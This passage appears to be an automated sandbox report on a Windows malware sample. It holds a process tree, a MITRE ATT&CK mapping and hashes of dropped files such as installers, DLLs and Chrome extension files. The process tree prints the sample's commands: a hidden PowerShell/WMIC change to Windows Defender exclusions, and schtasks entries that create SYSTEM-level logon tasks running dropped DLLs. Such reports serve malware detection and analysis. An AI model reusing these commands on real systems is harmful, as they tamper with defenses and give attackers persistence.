  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:3956
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5076
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:4916
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:2028
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:576
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:1268
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zgoZGMcaU\AJXkLW.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JHJXtPPPvDXVqpH" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:616
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JHJXtPPPvDXVqpH2" /F /xml "C:\Program Files (x86)\zgoZGMcaU\ojnBDAF.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4252
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "JHJXtPPPvDXVqpH"
  2⤵
  PID:4648
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4724
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "JHJXtPPPvDXVqpH"
  2⤵
  PID:4212
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "HtmGfIeJlxktuW" /F /xml "C:\Program Files (x86)\epoBtGYzqLvU2\pggsObv.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2612
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4892
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "beuYBzgGTLbmn2" /F /xml "C:\ProgramData\pICeQFkDCDDquYVB\hwkwyMe.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3960
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ykYfCTTujiceFdOqI2" /F /xml "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\NZEyRcj.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1032
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "fWcEirOkMoMQjrUKaey2" /F /xml "C:\Program Files (x86)\ecOJmsgAHWlsC\NNCkOsD.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3004
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3324
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "yfARWRprRqUFWeTGf"
  2⤵
  PID:2244
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4536

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:1464

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca
1⤵
PID:3900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k smphost
1⤵
PID:3676

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\rExTZvaK\Ycmmmdb.dll",#1 /tZdidPob 385118
1⤵
PID:4212
- C:\Windows\SysWOW64\rundll32.exe
  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\rExTZvaK\Ycmmmdb.dll",#1 /tZdidPob 385118
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Drops file in System32 directory
  - Enumerates system info in registry
  PID:3980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "aNyMQclguOCSCcjxm"
    3⤵
    PID:4648
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4636

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
1⤵
PID:2700

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

desktop.ini

Path C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
Size 129B
SHA256 e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066
MD5 a526b9e7c716b3489d8cc062fbce4005
SHA1 2df502a944ff721241be20a9e449d2acd07e0312
SHA512 d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88
MD5 SHA1 SHA512

Submit Download

{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Path C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
Size 2.0MB
SHA256 27bb45acca2d6e7e545805b2493e97ed6d39bfd2b047e7f9daae45f5a7006046
MD5 460d2b02f8d665ef546baf6b54a6efda
SHA1 6935068766b64433fb90b1bdd7fb24e28356f9a6
SHA512 6ec2e7e76cee145a18b347041e273039f60bb1333f1c5411b592ee993852edd7d3a74f3088af00327837a3adc46ef97919a510842e7fb4ae5a263f949d829d9b
SSDEEP 24576:5coxRkUE+8kD2EVB17jJs8Sm1ntAkmAgDT2r8H:qH
MD5 SHA1 SHA512 SSDEEP

Submit Download

Are.docx

Path C:\ProgramData\Are.docx
Size 11KB
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
SSDEEP 192:CtNCEE33S7Ok0CMSYbcBVk6tqM16iPBkeawLWdxd7o3Lp:aNwC78uYbcBv6akwLWdxdE3Lp
MD5 SHA1 SHA512 SSDEEP

Submit Download

mozglue.dll

Path C:\ProgramData\mozglue.dll
Size 593KB
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
SSDEEP 12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5 SHA1 SHA512 SSDEEP

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Size 187B
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\es\messages.json
Size 151B
SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
MD5 bd6b60b18aee6aaeb83b35c68fb48d88
SHA1 9b977a5fbf606d1104894e025e51ac28b56137c3
SHA512 3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Size 136B
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Size 150B
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_locales\en\messages.json
Size 217B
SHA256 1b63c3fdedf926ca9f3e4b6a331ef3c6cead5f8005191f6529a9745865f51aba
MD5 dd564797aa2c90110ef784017dbcdbdc
SHA1 bd92462c3bd79dedafad76f8b24e6261e73ef04b
SHA512 d537fdcfcf4b4c0563a0f22848de0f9a7cdd4870e8002abd77bc8bba2bdd44430a64403dbea1fbb2bd8a15ef60068e2c1e223e205b7ae25c19b2aac0a01013ab
MD5 SHA1 SHA512

Submit Download

verified_contents.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_metadata\verified_contents.json
Size 1KB
SHA256 bdff761080d89d671ebe4ec28b1b82ff2229fd6bc25d06d3504c75697fe5d3c0
MD5 c6f27d4c5b78b049b2fc34188c880e15
SHA1 9041a52dc774e599978da6042bf5960e58efacf4
SHA512 f3d6c2f3671e7771e1566036d65f6839bd53ec78de82c59efb1190e6fecb81be0dbac74a03b22a1fdba2abf7cf2d03808ea77d6a4a999d9f6da8e5ffc4233f66
MD5 SHA1 SHA512

Submit Download

icon-128.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-128.png
Size 14KB
SHA256 fad56011910b792dc6e057f9e7dfb89e4342aeeaf260e098f67008b68a3bd04f
MD5 8af1aef5361d4f67ee2496d2ee4d5f81
SHA1 2c85dd1d953c999dcb694aa59f47385254169806
SHA512 05f6ad93d95f96b66a78be5fe722d3baf938f90a2d123eae72ddcaf790235630f7aec495ddd3e42d9aee0ccdda0c724520d5db1007fc5aad1302ae3fc9452003
SSDEEP 384:5Ol6f3UOUBIVUhA2z9lzzd2Z2g92tl4TVax8MGxg5aQp:UAfEO3Vg9lzzdoU6Vax8MG25aQp
MD5 SHA1 SHA512 SSDEEP

Submit Download

icon-16.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-16.png
Size 654B
SHA256 a5571a0623564757d45d625ca56b07bec2e32e19b058b9f43e93fbe4e2c2d589
MD5 116154520a5241b455f08fd7bc29e99d
SHA1 4c7155fc19637b5bb919100a8123cebc202a3b87
SHA512 2f5acadf261c7cce1e1b71ee6b8cccbd5a19009a90a06c37f9335c819a06988c78c4efef3a3bc196de67ece4e18dcfa508a6fc4a0016822be40f45f4b456a9c2
MD5 SHA1 SHA512

Submit Download

icon-32.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-32.png
Size 1KB
SHA256 5ec71ad6b7058183a4a1e46ef570213e9450e3173bb7809365a0c66bf7e2b61b
MD5 bb05c2b0dd4612d0ab94e353c80f18e4
SHA1 7f1a14339b08c6140a4e5543479382adfb0d09d8
SHA512 f143cf26e308679bda02abd1a5ec9330be6d33cd7b2317e6ae695bdf7ba88da5d25d54e772777c27302ddae60532017d493d823c8c209cda44917ee7b482b5d3
MD5 SHA1 SHA512

Submit Download

icon-64.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-64.png
Size 4KB
SHA256 4fe78885932758161092d3c1d22843cdfcbfa92a546d155ce2887a176d1fa319
MD5 b4d4e7bad349bf3cc49cf75d41df7e58
SHA1 66a6f348a1e1bbf963208b08a5285ab231e1ed1f
SHA512 f1a8c206501cfdc0644dc5975ac202e99c8dc1643180374297e1d9c9b9358e256fbeaca5bc77b142e70db3bb03f3ad8d674bfe6820e26cb76de177f9e9c21fd0
SSDEEP 96:DSZ41sDjm8qCveX4qzQiF7OJeikLQ5ymfNoQ+/X9js6IB4Ti5HNasEJ:DSymDR7G737OJeiL5BoQ+/XFstXNZEJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\2.0.0.3_0\1.0.0.0\manifest.json
Size 1KB
SHA256 3ff8b96d52762ab4b9799c0195f4dccb80216f5b03a54999c1d343fc63e8ea15
MD5 b7cdcfb73e8696887df4adbb2dfb0a71
SHA1 4887cdb7ce54d8db677e7a0e118fad92b6b9710c
SHA512 1eb151ba80d23b37e2043c5100375957b75c13a337d051018766f88653d39bf779b5cf6fa8b49546c1b1d5dce4c3f2558348f5f63fe9009f719088a7338c96a0
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 5717d13e9863ba31dedd7d2f7cfb9e6490b98ff1d049acc7555c7426c1b65b59
MD5 99695d08b93711e464af366a253a6032
SHA1 adf9abe8bfceb1599eb7e98ebadb335b9c2efc56
SHA512 4f653634c302a22d89185cd4b895f45f4efb04a58bff2747a40229291296df400f64e264136672ca23d94c43588dcafd1105cbe0a7b462589f842a12b6c53405
SSDEEP 96:n0EH/tT++qay7n5psgDROaYwxj/GL2MVQrZu/VcOMEvr04SO5zNOUMeG6GeGJGrx:ns5zDROLHMwSvWjKfVEO9teOg4Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 30KB
SHA256 fae835c7354637083b450f22a7b5292963bb66c335512c7bded1476a4dc4839c
MD5 f6369d77d85071cf5ba9fc8877a30b4a
SHA1 84044c3d7039eff9e613cc54372934367b628748
SHA512 1a26b8873a8db7a5a5ccd390c43e5dbbe218f6a3d80b6c5a507b9a8424ed04fb306370c0950f2f52491ab2a6db218a520667456e574713f829804bd65edf065e
SSDEEP 768:aIxja7SuLr9gtnA8xP7kxR3r0op1CkSmmT7y:Qp1CRT7y
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 31KB
SHA256 900b0e763a6f28967efd921de51e675e286efbfe6035f40b5ad2851980368764
MD5 aa1dd78179f7d57bc0f66a5bfeee65b9
SHA1 015333b6e79eeffeacc59267037397609b19d6a8
SHA512 11349ca17ae57c5506c7732c69fbf9422ac3fd595e7a2678e0cc10f4fc175a602f45e31fd2998fdd4e226378ed9945bca04133fa2dfcb1397b584e2d0c7f2a6d
SSDEEP 768:oBtOtIxja7SuLr9gtnA8xP7kxR3r0op1Ck7mmTgP:oBtObp1CCTgP
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.EXE.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Size 3KB
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 dda58fd16fee83a65c05936b1a070187f2c360024650ecaf857c5e060a6a55f1
MD5 6bf0e5945fb9da68e1b03bdaed5f6f8d
SHA1 eed3802c8e4abe3b327c100c99c53d3bbcf8a33d
SHA512 977a393fdad2b162aa42194ddad6ec8bcab24f81980ff01b1c22c4d59ac268bb5ce947105c968de1a8a66b35023280a1e7709dfea5053385f87141389ebecb25
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9269962ccbd30f9caed70951584ae74b4a78fe7c949e7d6d174d80633dd16924
MD5 fa2fd96a0cefb3443e3d5d36dcf49bdb
SHA1 62f89c94f6ef4b9f4cc1ffccf4b9e87e36d81755
SHA512 1e36cb55b41512329cf3cc33ed84f80bb6eccc94f015ec5ee84f1dbb604f9ea18d4bc7144f07a406d24e02974fc04cf51181884f9df3285fcd9e8a36d36b06b4
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 2c48c2e9124e595f629a0a38de984f99b758eab3e92a4b7bd382f49c07fcad36
MD5 348dc5ef9f786af20690617f7bc0f8a6
SHA1 9ae92230ec82f12a33a3bf942742e8fe9dda686c
SHA512 25b93b38724b2a28adb86b5a7a3c2d95b54fbfa6294f24054ca51557985c3d9348cfd01bf8d529e45289f2939538565e6c82f8f6596e4f8ec9d5316aea05ed3c
SSDEEP 384:X2E3yvV8bSSUQtejADJNseHrKxIHvHcf/4T068Vlw55NJNjS5:GddtSUHUn/2UvH4HFw3ntS5
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 12KB
SHA256 8f8a0f09bef08405110c626f70a4c837337b9ed2345690ddc350c637e991b04a
MD5 50b9551ccbb7eca139c9b54263b5dda8
SHA1 a9dd291e02fb4c426327bfd2acc56e6e5db43c4d
SHA512 d2403ec8acf174f385440387e79e78996f367c0eeefcb13c54a15f8d66d8f69d380222e4040baf0063dd6f5dbf75aea1c8157b70c4757ac8f2e57aa63536dac1
SSDEEP 384:IT8x17aSZXVgcuaIAsTMNL/IxmmfBIShPlih:u6sSFCcDPlLQxJtq
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 87539185f4956063731a078fc3885eaf5ae208de4ac09ed8d328689d2334b6ad
MD5 692b08dc974be508f58b19c9b67ef381
SHA1 5a55bd48084cc4c5bd5457b3952634b2d5dc2776
SHA512 8661300285b053d83d91d19cfd1f7e1a28ef6ffe305c1b9e37ff84351c761362ea47a36dbaa4d4668d4f9b2aff45333a7ec3b8bc054c6df0ef06305745a53600
SSDEEP 384:A2E3y2jbL8JshX4vO2htlAap3D5eGfHKYpDrcVlw0ulNJ4Wm:DdYLysFuTaaZ5eGfHKY2wvnhm
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 12KB
SHA256 a14f858a69716791eae1e19e31157d1a9ce14052bca043e22220d8a3d20649da
MD5 99569d0b6c0c989bbf0f6a87d6e97cb9
SHA1 5341387a038641ac1b18f81a5bbb63abbe2216f9
SHA512 967a16231ef1254cea129461d04fff1d3f4b50bd2456ded77c9bcfeebb92387726d5c201a46088c7f833c2def80cd81883d4fcb2e77f3147596a5e70745e2d2e
SSDEEP 384:V/Yx100scVXIWUHbY+QLLIomfBISh/lih:8K0scpAcbLcfdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSA95F.tmp\Install.exe
Size 6.4MB
SHA256 4a86ca84b985a5228eccd13f225bb403e9574e7f64b900a9acc4d32bcb732ff2
MD5 90487eb500021dbcb9443a2cf972a204
SHA1 62ae31665d462c8e5d6632f389b1e94afb9bf00d
SHA512 8cb3b1ae44246bee8bf2b81220d7a5782c4e82b2b871a81bdc9ea170fbe477d7be59c3543554f2cdefde7422bcc88b6624b966dff1603c79d277329fb2074d17
SSDEEP 196608:FL4X13u2HKA5q6G/Ne+XaiFh6cCClKPjj79:FL/As6G0+TGbH
MD5 SHA1 SHA512 SSDEEP

Submit Download

AuthHost.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\AuthHost.exe
Size 154KB
SHA256 6778d42a25b4ab28fa157d9b9eb63dc826c8a6faac650ecb5e33b13954f88db1
MD5 14f675f8506da96c2f1c47c7be5abdaa
SHA1 34f4929d325f4ed7b7d3d318f6b6142f8a5013ae
SHA512 d1f3e24a3f1440421de4b5daf2880e74187ce96aa53eae466b49edcedd2e2d988c2e51c1aeebf6e162ced41b4d727e97f654ded6e71a79363665ea033c2c38f0
SSDEEP 3072:SnNyfCggowa0ae7e2Qnv21RePqrR1tm35hAYlGzooC5eQRh1EF:GNyfCggowtauP30qrRXm3U0oC5Hja
MD5 SHA1 SHA512 SSDEEP

Submit Download

Info.xml

Path C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\Info.xml
Size 3KB
SHA256 1c4440a8312e16bc682277164cc6710b37fc3dcac5ef9aa0ba7e77fc0c1f4897
MD5 0456be6047774e5d0b8045b787048924
SHA1 76f6445368a4462a50e502bc272a8efc2eb33cb0
SHA512 c0f0cf97e0fd0b258b9a9fa6466dd9e390cd79f3edb0f5b9f10137c241c6b079061135c44c0c30dc71c28f1b7b929c65eb1112761e53cd8400d7e07ce1a7b99c
MD5 SHA1 SHA512

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\Install.exe
Size 2.1MB
SHA256 a7f515e047dcb9ae27f787aaa14515ae3f29e3962d01797e1e27e9c50a6c4e1b
MD5 d71a9c0d5e8975cb236d9c997587c46c
SHA1 10c50314f7f3ec79c96a2d6d33757cb20e916c1f
SHA512 0b05a63098fa97604e94d8e2c346a216cae7751cba2fa3ab6781a0d34bbbcc6a9e401184a2201c0e4df2b543cbc1e92d0704d31cb68ff1bf9e61ae67c2e21aaa
SSDEEP 49152:nMYB44w2B4BifsomqNbpPa1JgPjKz0GjbUHewEO1CHG9KDh:nMYB14/iC1JgPuTjucOcHKUh
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\Install.exe
Size 1.2MB
SHA256 94941b7d019b2eb970b1a22212f0e93260d2ef3cd22c20f08e94ebd73d4e80fa
MD5 a58d1964a9b4bdca4a32a26545be3885
SHA1 fa8175cfd3608b7d3fc1838aa3cffcb802d49770
SHA512 5af51313c1d8bec1360859d9ff53f69c5a30c9ddca5ae7d43586c89e4e00b5c4915d9b8629d29854068921433a655bed609e23b5cc898824e998f2ed3d118a26
SSDEEP 24576:/PHYT23i3DvYge344w2qc3yfIEDmfCNKYomqvF3K0l7Px0+xJ+JOW5kMOPrfIN7J:nMYB44w2B4BifsomqNbpPa1JgPjKz5
MD5 SHA1 SHA512 SSDEEP

Submit Download

attrib.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\attrib.exe
Size 40KB
SHA256 0758152947f1a550e52ce8e3f9bcd988a23d36a458ad953795769b11c38ff2ea
MD5 a243bc9db0bfb5f22e146b88bb10c58f
SHA1 a5ff3845b0f55157c4aea35e9eae213560acdb5c
SHA512 58c668e9ab61f3af13e1a5a52930b5c6e281d7d85d1180ca82ccca4268b3d3a93a25e8ed7a1c2d126e88eaf7d3ad38cd051974c9b200c13b5a4584e221ee8161
SSDEEP 384:EEtJXYyRLxeRuWV48xWieYSd6b8SbYtJMeANRLwA2Tf3k3WDtW:LRR9eYY48MieYSd6D0tJpANF2TfUw
MD5 SHA1 SHA512 SSDEEP

Submit Download

bootsect.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\bootsect.exe
Size 105KB
SHA256 6a4e0396657ace212c955b4c95ddc357be66c2c9968dcd7a909bf4cc32f59841
MD5 68c39a577225aeb6b28ea3558e683c19
SHA1 0504785549d7a3ac936c425b14253f779e580bc3
SHA512 fdb7398aff07be9630be5f8d6e8f415c22fc363fae9f6df816a72c6fbef7b93fe3def26a2f7dbe755a5035fb8efa912022eb80a514f8f04a0a9b25c90e8b557a
SSDEEP 1536:0jzmAqtyFjEIPOhHK6iSlrKcBx5kIc3JGP1nXzMR:kqAqtyFjEkAqclrJdF6UdXgR
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_o4mfsqpp.j0l.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o4mfsqpp.j0l.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

eb12e228

Path C:\Users\Admin\AppData\Local\Temp\eb12e228
Size 1.4MB
SHA256 a5bfaa9be99939c4a897ded34c2bdc940d31edc07eeb882d2b55c22cee70bcbf
MD5 e9bac94481a41eac9e8e765e5dcb97c9
SHA1 15d5663c25fb321e7939520a0d13a47033b28412
SHA512 70904094477b13c057b689e7ae19563d3e15f9a14fab7d7f25216bb4cce267f157bdcc686f6c33118478c43b61484c6ffe335eada89cbaba123dfb54fea0c8ca
SSDEEP 24576:/2TSKQzskM67oQjgpzBxtTQVfimxaR4AzDGkwyhKqzvG8Rkys8ogaz3ia6:uTO57oQjAxtMVVxaRFzDGWhzze4DRqn6
MD5 SHA1 SHA512 SSDEEP

Submit Download

ioloDMLog.txt

